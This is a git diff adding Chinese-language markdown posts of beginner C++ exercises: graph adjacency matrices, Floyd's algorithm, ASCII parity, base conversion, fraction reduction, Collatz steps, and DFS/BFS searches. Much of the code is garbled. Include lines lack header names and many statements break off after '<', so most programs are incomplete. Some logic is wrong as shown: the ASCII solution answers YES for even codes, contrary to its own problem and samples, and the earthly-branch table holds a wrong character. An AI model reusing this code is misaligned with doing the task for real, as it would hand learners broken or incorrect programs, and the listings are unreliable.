+![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1b45a2cf7f4d47b3b4247e167d11a7b4.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c7b8bd3f0f914ce0a29d3f5762cd6fe7.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0bb16ff3df9740d88e17470aec31168f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/7c5c80a89a1d48eaa13fd8bb70c04157.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/93ce483c8b324e2a95c2c3800d4ddd83.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5a827fbadd9f4ed9a30c535ec1ebd8ba.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6f5fad0a8fb648e1b45eeba756765903.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/122e1d13728845a8b5f31b708935390d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/97fdb3eda7a6482e929ff109ac6eaf79.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +
+ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b3da1f2f1e664bd0a1215ad7f7356205.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/891953121a914d19998393e4059f4e42.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_13,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int g[1001][1001]; +int main(){ + int n,e,a,b; + cin>>n>>e; //顶点和边数 + //接收边的状态 + for(int i=1;i<=e;i++){ + cin>>a>>b; + g[a][b]=1; + g[b][a]=1; + } + //邻接矩阵 + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + cout< + +今天我们继续来学习图论,和**弗洛伊德算法**。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a1a2aa5658a742fcb704865356f278a3.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/06be609cf3264fcf890195e6f27ebb3d.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/03b93c5d17534e6ebc090e13b129390b.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +来做一道案例: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c74ffaa0ed5748668a36aeefa5eeb586.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/eb223b4a150b4803996941b008eb2fbd.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e28fdfd87a6d48689d2a8bf27b79e50c.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/851988d02c854014abeefee359b0fe52.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/ec7fd110398442ee87f077b8bc0da91e.png) +根据以上内容可以推出: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/36f3caf00a3941d09ae7209440a9e381.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +注意: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/0328c0f139a84216bfdb34c0d13d68f3.png) +因此可写代码: + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int e[101][101]; +int n,m; //n=顶点数 m=边数 +int p,q,t; //p=p点 q=q点 t=路程 +int s=100001; +int main(){ + cin>>n>>m; //输入顶点和边数 + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + if(i==j){ + e[i][j]=0; //如果点是当前位置,则距离为0 + } + else{ + e[i][j]=s; + } + } + } + //路程的设定 + for(int i=1;i<=m;i++){ + cin>>p>>q>>t; + e[p][q]=t; //有向图 + } + //弗洛伊德算法 + for(int k=1;k<=n;k++){ + //城市i到城市j的不同组合 + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + //判断最短路径 + if(e[i][j]>e[i][k]+e[k][j]){ + e[i][j]=e[i][k]+e[k][j]; + } + } + } + } + + //最短路径 + for(int i=1;i<=n;i++){ + for(int j=1;j<=n;j++){ + cout< + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/6e20e98c30594a358f2e3d46fc2cf6b0.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/dda41e5a5eea4531b07429b3a81ea502.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/d3bc6f6f6654446dbd553d49f5eafd72.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/089ef23169f54e9aa18214a07a70c758.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a90d2c6eccdd4a3497093bbbc50525ea.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_12,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5e60687dadb24d82b57b693c2997adf2.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/C++\345\245\207\345\201\266 ASCII \345\200\274\345\210\244\346\226\255.md" "b/C++\345\245\207\345\201\266 ASCII \345\200\274\345\210\244\346\226\255.md" new file mode 100644 index 0000000..d2a48d5 --- /dev/null +++ "b/C++\345\245\207\345\201\266 ASCII \345\200\274\345\210\244\346\226\255.md" @@ -0,0 +1,32 @@ +```cpp +1. 奇偶 ASCII 值判断(ascii.cpp ) +【问题描述】 +任意输入一个字符,判断其 ASCII 是否是奇数,若是,输出 YES,否则输出 +NO。 +【输入文件】 文件名: ascii.in +一行,包括一个字符。 +【输出文件】文件名: ascii.out +一行,判断结果。 +【样例输入 1】 +A +【样例输出 1】 +YES +【样例输入 2】 +B +【样例输出 2】 +NO +``` +这是我翻到的一道题,太简单了,顺便解了一下。 +```cpp +//Author:PanDaoxi +#include +using namespace std; +int main(){ + char text; + cin>>text; + int number=int(text); + if(number%2==0) cout<<"YES"< +using namespace std; +int main(){ + char text; + cin>>text; + int number=int(text); + if(number%2==0) cout<<"YES"< +using namespace std; +int main(){ + int n,a[501],b[501],k,x=0; + cin>>n; + for(int i=0;i>a[i]; + } + // 获取到这个范围内所有奇数储存在数组b中 + for(int i=0;i +using namespace std; +int main(){ + int n,a[501],b[501],k,x=0; + cin>>n; + for(int i=0;i>a[i]; + } + // 获取到这个范围内所有奇数储存在数组b中 + for(int i=0;i=1;i--){ + for(int j=0;jb[j+1]){ + swap(b[j],b[j+1]); + } + } + } + for(int i=0;i +using namespace std; +int main(){ + int n,a[501],b[501],k,x=0; + cin>>n; + for(int i=0;i>a[i]; + } + // 获取到这个范围内所有奇数储存在数组b中 + for(int i=0;i=0&&key 【问题描述】 输入一串内容(长度不超过100),统计出数字字符的个数,并输出其他字符。 输入:包含空格、字母和数字的一串内容。 +> 输出:两行,第一行是删掉数字之后的字符串(保留空格),第二行是数字字符的个 数。 +> 【样例输入】 +> Ab c12 fds 34 +> 【样例输出】 +> Ab c fds 4 + +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +int main(){ + char a[101],b[101]; + cin.getline(a,101); + int len=strlen(a),sum=0,j=0; + for(int i=0;i='0'&&a[i]<='9') sum++; + else b[j++]=a[i]; + } + for(int i=0;i +#include +using namespace std; + +int main(){ + char a[101],b[101],c[101],d[101]; + cin.getline(a,101); + cin.getline(b,101); + int k=0; + for(int i=0;i='a'&&a[i]<='z') c[k++]=a[i]-32; + else c[k++]=a[i]; + } + } + int h=0; + for(int i=0;i='a'&&b[i]<='z') d[h++]=b[i]-32; + else d[h++]=b[i]; + } + } + if(strcmp(c,d)) cout<<"NO"< +#include +using namespace std; + +int main(){ + char a[101],b[101]; + int l,n,i; + cin>>a>>n>>b; + l=strlen(a); + cout< +using namespace std; + +int main(){ + int n,arr[101]; + cin >> n; + + arr[1] = 1,arr[2] = 1; + for (int i = 3;i <= n;i ++){ + arr[i] = arr[i - 1] + arr[i - 2]; + } + cout << arr[n] << endl; + return 0; +} +``` + diff --git "a/C++\345\256\236\347\216\260\347\201\257\347\232\204\345\274\200\345\205\263\351\227\256\351\242\230.md" "b/C++\345\256\236\347\216\260\347\201\257\347\232\204\345\274\200\345\205\263\351\227\256\351\242\230.md" new file mode 100644 index 0000000..b76cc3f --- /dev/null +++ "b/C++\345\256\236\347\216\260\347\201\257\347\232\204\345\274\200\345\205\263\351\227\256\351\242\230.md" @@ -0,0 +1,25 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210714141508449.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int n,arr[101]; + cin >> n; + + for (int a = 1;a <= n;a ++){ + arr[a] = 1; + } + for (int b = 1;b <= n;b ++){ + for (int c = 2;c <= 5;c ++){ + if (b % c == 0) arr[b] = 1 - arr[b]; + } + } + for (int d = 1;d <= n;d ++){ + if (arr[d] == 1) cout << d << " "; + } + return 0; +} +``` + diff --git "a/C++\345\256\236\347\216\260\347\256\200\345\215\225\350\256\241\347\256\227\345\231\250.md" "b/C++\345\256\236\347\216\260\347\256\200\345\215\225\350\256\241\347\256\227\345\231\250.md" new file mode 100644 index 0000000..5324ce1 --- /dev/null +++ "b/C++\345\256\236\347\216\260\347\256\200\345\215\225\350\256\241\347\256\227\345\231\250.md" @@ -0,0 +1,46 @@ +```cpp +//Author:PanDaoxi +#include +using namespace std; + +int main() +{ + cout << "请输入运算法则:"; + char x; + cin >> x; + int a,b; + cout << "输入两个数字:"; + cin >> a >> b; + + int result; + switch (x) { + case '+': + result = a + b; + cout << result << endl; + break; + case '-': + result = a - b; + cout << result << endl; + break; + case '*': + result = a * b; + cout << result << endl; + break; + case '/': + if (b != 0) { + result = a / b; + cout << result << endl; + break; + } else { + cout << "Divided by 0!" << endl; + break; + } + default: + cout << "Invalid Operator!" << endl; + break; + } + + return 0; +} +``` + diff --git "a/C++\345\256\236\347\216\260\347\272\246\345\210\206\357\274\210\345\214\226\347\256\200\346\257\224\357\274\211.md" "b/C++\345\256\236\347\216\260\347\272\246\345\210\206\357\274\210\345\214\226\347\256\200\346\257\224\357\274\211.md" new file mode 100644 index 0000000..846974a --- /dev/null +++ "b/C++\345\256\236\347\216\260\347\272\246\345\210\206\357\274\210\345\214\226\347\256\200\346\257\224\357\274\211.md" @@ -0,0 +1,27 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/873921ae2b384fbe94f39858835d243a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +很好使的。 + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int x,y,big,n=1; +int fractionReduction(int a,int b){ + x=a,y=b,big=(a>b?a:b); + for(int i=big;i>=1;i--){ + if(x%i==0&&y%i==0){ + x/=i; //分子(前项) + y/=i; //分母(后项) + n*=i; //公约数 + } + } +} +int main(){ + int a,b; + cin>>a>>b; + fractionReduction(a,b); + cout< 好久没有写文章了,如果大家想看我继续更新,请看我的`bilibili`《潘道熹的视频》;如果需要文件,请看我的`Coding`仓库《潘道熹的仓库》。感谢! + +今天我们来看一道题目: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210703131127580.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +题目要求我们使用`C++`语言完成。分析题目后我们可得知要用到`while`语句,代码如下: + +```cpp +//Author:PanDaoxi +#include +using namespace std; + +int main() +{ + int x,y; + cout << "输入一个正整数:"; // 请求用户输入 + cin >> x; + y = x; + + if (x > 1) { + while (x / 2) { + if (x % 2 == 0) { + x /= 2; + cout << y << "/2=" << x << endl; + } else { + x *= 3; + x += 1; + cout << y << "*3+1=" << x << endl; + } + + if (x > 1 && y > 1) { + y = x / 2; + cout << x << "/2=" << y << endl; + x /= 2; + } + } + cout << "End" << endl; + } else { + cout << "End" << endl; + } + return 0; +} +``` +代码截图: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2021070313202867.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + + +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210703131841917.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +
+ +于2022年2月22日更新: +递归也可以这样写: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int f(int n){ + if(n==1) return 0; + if(n%2){ + cout< 今天需要的材料:浏览器和网络 或 Dev-Cpp。 + +我先给大家推荐一个网站:[编程中国](https://bccn.net/),这个网站可以在线编程。 +如果有编程软件那么创建一个新的C++程序文件,命名为`01.cpp`即可,双击打开,输入以下代码: + +> 例题: +> 鸡兔同笼,已知头共30个,脚共90只,问笼子中的鸡和兔各有多少只? + +代码如下: + +```cpp +# include +# include +using namespace std; +//最开始的导入库代码 + +//main函数 +int main() +{ + //创建变量 + int head,foot,chick,rabbit; + //设置初始值 + head = 30; + foot = 90; + //计算 + chick = (4 * head - foot) / 2; // chick = (foot - 2 * head) / 2; + rabbit = head - chick; + cout << "鸡的数量:" << chick << " 兔的数量:" << rabbit << endl; + getchar(); +} +``` +代码完成了!效果大家自己尝试! diff --git "a/C++\345\260\206\345\260\217\346\225\260\345\214\226\346\210\220\345\210\206\346\225\260.md" "b/C++\345\260\206\345\260\217\346\225\260\345\214\226\346\210\220\345\210\206\346\225\260.md" new file mode 100644 index 0000000..baf7a59 --- /dev/null +++ "b/C++\345\260\206\345\260\217\346\225\260\345\214\226\346\210\220\345\210\206\346\225\260.md" @@ -0,0 +1,94 @@ +写得着急,做得简陋,敬请谅解。 +注:输入内容中必须有`.`。 + +```cpp +// Author:PanDaoxi +#include +#include +using namespace std; +int zdgys(int a,int b){ + for(int i=a>b?a:b;i>=1;i--){ + if(a%i==0&&b%i==0) return i; + } +} +int main(){ + string x; + cin>>x; + int len=x.length(),y,z, + zs=0,xs=0; + for(int i=0;i +#include +using namespace std; +int zdgys(int a,int b){ + for(int i=a>b?a:b;i>=1;i--){ + if(a%i==0&&b%i==0) return i; + } +} +int main(){ + string x; + bool jie=false; + cin>>x; + int len=x.length(),y,z, + zs=0,xs=0; + for(int i=0;i +using namespace std; + +int main(){ + int n,m,a[100][100],b[100][100]; + cin >> n >> m; + for (int i = 0;i < n;i ++){ + for (int j = 0;j < m; j ++){ + cin >> a[i][j]; + } + } + for (int i = 0;i < n;i ++){ + for (int j = 0;j < m;j ++){ + b[j][i] = a[i][j]; + } + } + for (int i = 0;i < m;i ++){ + for (int j = 0;j < n;j ++){ + cout << b[i][j] << " "; + } + cout << endl; + } + return 0; +} +``` + diff --git "a/C++\345\260\217\347\216\211\346\270\270\346\263\263\351\227\256\351\242\230.md" "b/C++\345\260\217\347\216\211\346\270\270\346\263\263\351\227\256\351\242\230.md" new file mode 100644 index 0000000..3a90109 --- /dev/null +++ "b/C++\345\260\217\347\216\211\346\270\270\346\263\263\351\227\256\351\242\230.md" @@ -0,0 +1,25 @@ +题目是这样的: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210709184820761.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +我的解题方法: + +```cpp +//Author:PanDaoxi (File 1) +#include +using namespace std; + +int main(){ + double m,step; + cin >> m; + + int n; + step = 2; + while (m > 0){ + n += 1; + step *= 0.98; + m -= step; + } + cout << n << endl; + return 0; +} +``` + diff --git "a/C++\345\260\217\351\261\274\347\232\204\346\270\270\346\263\263\346\227\266\351\227\264.md" "b/C++\345\260\217\351\261\274\347\232\204\346\270\270\346\263\263\346\227\266\351\227\264.md" new file mode 100644 index 0000000..c4a2aa2 --- /dev/null +++ "b/C++\345\260\217\351\261\274\347\232\204\346\270\270\346\263\263\346\227\266\351\227\264.md" @@ -0,0 +1,19 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210709201809639.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +程序: + +```cpp +//Author:PanDaoxi (File 7) +#include +using namespace std; + +int main(){ + int sh,sm,eh,em; + cin >> sh >> sm >> eh >> em; + int x = sh * 60 + sm; + int y = eh * 60 + em; + int z = y - x; + cout << z / 60 << " " << z % 60 << endl; + return 0; +} +``` + diff --git "a/C++\345\262\233\345\261\277\351\227\256\351\242\230.md" "b/C++\345\262\233\345\261\277\351\227\256\351\242\230.md" new file mode 100644 index 0000000..1b3662f --- /dev/null +++ "b/C++\345\262\233\345\261\277\351\227\256\351\242\230.md" @@ -0,0 +1,44 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/76bc34f490584234b4aef3a1f909ca66.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/da7d30b7c63f4331add2197d9d988599.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +//book=标记岛屿是否被搜索过 +//e=地图 +//n=岛屿数量 +//m=桥的数量 +int book[101],e[101][101],n,m; +//计数器:搜索过的岛屿 +int sum=0; +//深搜函数 +void dfs(int j){ + cout<>n>>m; + int a,b; + for(int i=1;i<=m;i++){ + cin>>a>>b; + e[a][b]=e[b][a]=1; + } + book[1]=1; //从1开始搜索 + dfs(1); //开始深搜 + return 0; +} +``` + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/c1eaf1c13e0a482691d8ab9896c97ac4.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/C++\345\270\270\347\224\250\346\225\260\345\255\246\350\277\220\347\256\227\357\274\210\345\276\205\345\256\214\347\273\223\357\274\211.md" "b/C++\345\270\270\347\224\250\346\225\260\345\255\246\350\277\220\347\256\227\357\274\210\345\276\205\345\256\214\347\273\223\357\274\211.md" new file mode 100644 index 0000000..0d76003 --- /dev/null +++ "b/C++\345\270\270\347\224\250\346\225\260\345\255\246\350\277\220\347\256\227\357\274\210\345\276\205\345\256\214\347\273\223\357\274\211.md" @@ -0,0 +1,506 @@ +@[toc] + +# 1.回文数判定 + +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +bool text(int n){ //判定回文数 + int a[11],m=n,k=0; + while(m){ + a[k++]=m%10; + m/=10; + } + m=0; + for(int i=0;i>n; + if(text(n)) cout<<"YES"; + else cout<<"NO"; + return 0; +} +``` + +# 2.质数的判定 + +```cpp +//Author:PanDaoxi +#include +using namespace std; +bool prime(int n){ + if(n==1) return false; + for(int i=2;i>n; + if(prime(n)) cout<<"YES"; + else cout<<"NO"; + return 0; +} +``` +# 3.最大公因数和最小公倍数 + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int zdgys(int a,int b){ + for(int i=a>b?a:b;i>=1;i--){ + if(a%i==0&&b%i==0) return i; + } +} +int zxgbs(int a,int b){ + return a*b/zdgys(a,b); +} +int main(){ + int n,m; + cin>>n>>m; + cout< +using namespace std; +int main(){ + int n,s=1; + cin>>n; + for(int i=1;i<=n;i++){ + s*=i; + } + cout< +#include +using namespace std; +int main(){ + int a[201],l=1,s=0; + char b[201]; + cin>>b; + for(int i=0;i +#include +using namespace std; +int main(){ + double n; + int m; + cin>>n>>m; + cout< +#include +using namespace std; +int main(){ + int n,a[1001],k=0; + cin>>n; + if(n<2){ + cout<<"Impossible"; + return 0; + } + for(int i=2;i<=n;i++){ + while(n%i==0){ + a[k++]=i; + n/=i; + } + } + sort(a,a+k); + for(int i=0;i +using namespace std; +int a[10001],k=0,s=2; // s进制(s<=10) +void f(int n){ + if(n==0) return; + a[k++]=n%s; + f(n/s); +} +int main(){ + int n; + cin>>n; + f(n); + for(int i=k-1;i>=0;i--){ + cout< +#include +using namespace std; +int main(){ + string s; + int a[10001],sum=0,k=0; + cin>>s; + for(int i=0;i +using namespace std; +int a[10001]; +int k=0; +void f(int n){ + if(n==0) return; + int x=n%16; + if(x<10) a[k++]=x+'0'; + else a[k++]=x+('A'-10); + f(n/16); +} +int main(){ + int n; + cin>>n; + f(n); + for(int i=k-1;i>=0;i--){ + cout< +#include +#include +using namespace std; +int main(){ + char s[1001]; + cin>>s; + int sum=0,len=strlen(s); + for(int i=0;i +#include +using namespace std; +int main(){ + int n,a[1001]; + double s; + cin>>n; + for(int i=0;i>a[i]; + } + sort(a,a+n); + if(n%2){ + s=a[n/2]; + } + else{ + s=(a[n/2-1]+a[n/2])/2.0; + } + cout< +using namespace std; +int main(){ + int n,a[10001]={},x,y; + cin>>n; + for(int i=0;i>x; + a[x]++; + } + x=0; + for(int i=0;i<10001;i++){ + if(a[i]>x){ + x=a[i]; + y=i; + } + } + cout< +#include +using namespace std; +int zdgys(int a,int b){ + for(int i=a>b?a:b;i>=1;i--){ + if(a%i==0&&b%i==0) return i; + } +} +int main(){ + string x; + bool jie=false; + cin>>x; + int len=x.length(),y,z, + zs=0,xs=0; + for(int i=0;i +using namespace std; +// 十进制转二进制 +int a[10001],l; +void f(int n){ + if(n==0) return; + a[l++]=n%2; + f(n/2); +} +string tentotwo(int n){ + f(n); + string s=""; + for(int i=l-1;i>=0;i--){ + s+=a[i]+'0'; + } + memset(a,0,sizeof(a)); + l=0; + return s; +} +// 二进制转十进制 +int twototen(string s){ + int b[11]={},sum=0,k=0; + for(int i=0;i>a>>c>>b; + // 转换为二进制 + string s1,s2,result=""; + s1=tentotwo(a),s2=tentotwo(b); + // 补齐前导0 + int l1=s1.size(),l2=s2.size(); + while(min(l1,l2)=0;i--){ + // 同真则真 + result=((s1[i]=='1'&&s2[i]=='1')?"1":"0")+result; + } + } + // 按位或 + else if(c=='|'){ + for(int i=l1-1;i>=0;i--){ + // 一真则真 + result=((s1[i]=='1'||s2[i]=='1')?"1":"0")+result; + } + } + // 按位异或 + else if(c=='^'){ + for(int i=l1-1;i>=0;i--){ + // 不同为真 + result=((s1[i]!=s2[i])?"1":"0")+result; + } + } + else cout<<0; + // 再转换为10进制 + cout< +#include +using namespace std; +stack st; +int sti(string s){ + int n=0; + for(int i=0;i>s; + for(int i=0;i +using namespace std; +int main(){ + // 天干,按顺序取余结果0~10排序 + string tg[11]={"庚","辛","壬","癸","甲", + // 0 1 2 3 4 + "乙","丙","丁","戊","己"}, + //5 6 7 8 9 + // 地支,同样 + dz[13]={"申","酉","戌","亥","子", + // 0 1 2 3 4 + "丑","寅","卯","辰","祀", + //5 6 7 8 9 + "午","未"}; + //10 11 + // 输入年份 + int n; + cin>>n; + // 输出天干、地支 + cout< +using namespace std; +int main(){ + int n,m; + cin>>n>>m; + int total=m*2; + for(int i=m+1;i<=n;i++) total+=i; + cout< +using namespace std; +//定义结构体 +struct node{ + int x,y,step; +}; +//map=地图 book=标记走过的点 +int map[51][51],book[51][51]; +//给结构体开长度 +struct node que[2501]; +//移动的方向 +int nt[4][2]={{-1,0},{0,1},{1,0},{0,-1}}; +//m,n=地图大小 sx,sy=当前自己的位置 +//p,q=目标位置 tx,ty=中间过程点的坐标 +int m,n,sx,sy,p,q,tx,ty; +//设置队首、队尾指针 +int head=1,tail=1; +//标记是否有解 +bool flag=false; +//广搜函数 +void bfs(){ + //起点入队 + que[tail].x=sx; + que[tail].y=sy; + que[tail].step=0; + tail++; + //标记当前入队点 + book[sx][sy]=1; + //循环:后序子节点入队 + while(headm||ty<1||ty>n) continue; + //判断可以用的点 + if(map[tx][ty]==0&&book[tx][ty]==0){ + book[tx][ty]=1; + //入队 + que[tail].x=tx; + que[tail].y=ty; + que[tail].step=que[head].step+1; + tail++; + } + //是否找到目标 + if(tx==p&&ty==q){ + flag=true; + break; + } + } + //判断是否找到目标 + if(flag) break; + //出队 + head++; + } +} +int main(){ + //输入 + cin>>m>>n; + //初始化地图 + for(int i=1;i<=m;i++){ + for(int j=1;j<=n;j++){ + cin>>map[i][j]; + } + } + //输入自己和目标的坐标 + cin>>sx>>sy>>p>>q; + //广搜 + bfs(); + //输出解 + cout< + 